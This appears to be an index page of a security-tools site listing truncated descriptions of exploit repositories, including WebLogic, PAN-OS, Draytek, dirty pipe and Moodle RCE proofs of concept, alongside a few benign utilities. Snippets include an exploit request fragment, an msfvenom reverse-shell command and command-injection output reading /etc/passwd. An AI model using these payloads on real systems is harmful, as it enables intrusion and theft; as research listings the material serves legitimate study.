CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

lunar

LUNAR Auditoría y Reporte de UNIX Lockdown Versión Versión actual 15.9.1 Consulte lunar.sh y el registro de cambios para obtener información de versión más actualizada. Licencia CC BY-SA: https://creativecommons.org/licenses/by-sa/4.0/ Apóyame aquí: https://ko-fi.com/richardatlateralblast AVISO...

faxhell

faxhell "Fax Shell" Un shell de enlace de prueba de concepto que utiliza el servicio Fax y un secuestro de DLL basado en Ualapi.dll. Consulte nuestro análisis en: https://windows-internals.com/faxing-your-way-to-system/ Cómo usar Compila Ualapi.dll y colócalo en c:\windows\system32 Inicia el...

cve_2026_31431

CVE-2026-31431 "Copy Fail" Toolkit Detector and proof-of-concept LPE for the Linux algifaead / authencesn page-cache scratch-write bug disclosed 2026-04-29. Disclosure writeup: https://xint.io/blog/copy-fail-linux-distributions Authorization Use only on hosts you own or are explicitly engaged to...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 STEP 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

joro

Joro A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI. Warning: This tool is intended for authorized penetration testing an...

-Pluck-CMS-RCE-CVE-2023-50564

exploit.py 🐍💥 ⚠️ Legal / ethical notice: this script is only for authorized environments ✅ CTFs, labs, pentesting with permission. Do not use it against systems without authorization ❌. 🧾 What does this script do? exploitgreenhorn.py automates a typical exploitation chain on a web panel: ✅ Logs...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC I had kicking about. Amusingly, the command injected gets executed twice, see here: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...

cve-2023-30990

cve-2023-30990-rce IBM i DDM Unauthenticated RCE - Java Reverse Shell...

CVE-2022-0847-dirty-pipe-exploit

CVE-2022-0847-dirty-pipe-exploit An exploit for CVE-2022-0847 dirty-pipe vulnerability How to use this Compile with gcc exploit.c -o exploit assumes gcc is installed Run ./exploit and it'll pop a root shell If you are getting error message like then, Login as root with password cspshivam Then,...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS Exploit 🔐 🛡️ Description This Proof-of-Concept PoC script targeting vulnerabilities in Palo Alto PAN-OS, specifically CVE-2024-0012 and CVE-2024-9474 by automating the exploitation process, including autentication bypass, payload creation, chunked...

Cloudtopolis

Cloudtopolis is a tool that facilitates the installation and provisioning of Hashtopolis on the Google Cloud Shell platform, quickly and completely unattended and also, free!. Together with Google Collaboratory, it allows us to break hashes without the need for dedicated hardware from any browser...

CVE-2024-9474

PAN-OS CVE-2024-0012 and CVE-2024-9474 Python script generated from the blog post : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 It's all described there My comment on X : https://x.com/k4nfr3/status/1858993646923903103 reverse shell...

CVE-2026-26830

CVE-2026-26830: OS command injection in pdf-image Summary pdf-image through version 2.0.0 allows OS command injection via the pdfFilePath argument. The package builds shell command strings with util.format and executes them with childprocess.exec. If an application passes an attacker-controlled...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: Carga Arbitraria de Archivos en SmarterMail RCE Mejorado con APT Este es un exploit de prueba de concepto PoC mejorado para CVE-2025-52691 , una vulnerabilidad crítica en el software de servidor de correo SmarterTools SmarterMail que permite la carga arbitraria de archivos sin...

CVE-2020-5844

CVE-2020-5844 Authenticated RCE in PandoraFMS 7.0-NG 742 Admin privileged attackers can upload malicious PHP documents. By decoding the base64 file location users can gain a shell as apache user. Discovered by TheCyberGeek PoC python script root@kitploit: Usage: python3 CVE-2020-5844.py URL USER...

CVE-2024-41570

CVE-2024-41570 | Havoc C2 SSRF with RCE | Automated Reverse Shell Exploit via WebSocket This project provides a Python-based proof-of-concept PoC script to exploit a vulnerable WebSocket-based service. The script automates agent registration, WebSocket payload delivery, and remote command executi...

MoodleExploit

Moodle Exploit Exploit Title: Moodle v3.4.1 RCE Exploit Google Dork: inurl:"/course/jumpto.php?jump=" Date: 15 March 2019 Exploit Author: Darryn Ten Vendor Homepage: https://moodle.org Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip Version: 3.4.1 Possibly 3.5.0 and maybe even...

CVE-2024-37770

CVE-2024-37770 description 14Finger v1.1 was discovered to contain a remote command execution RCE vulnerability in the fingerprint function. This vulnerability allows attackers to execute arbitrary commands via a crafted payload. Attack Vector Unauthenticated attackers can execute command injecti...

libfwsi

libfwsi is a library to access the Windows Shell Item format. Project information: Status: experimental Licence: LGPL-3.0-or-later For more information see: Project documentation: https://github.com/libyal/libfwsi/wiki/Home How to build from source: https://github.com/libyal/libfwsi/wiki/Building...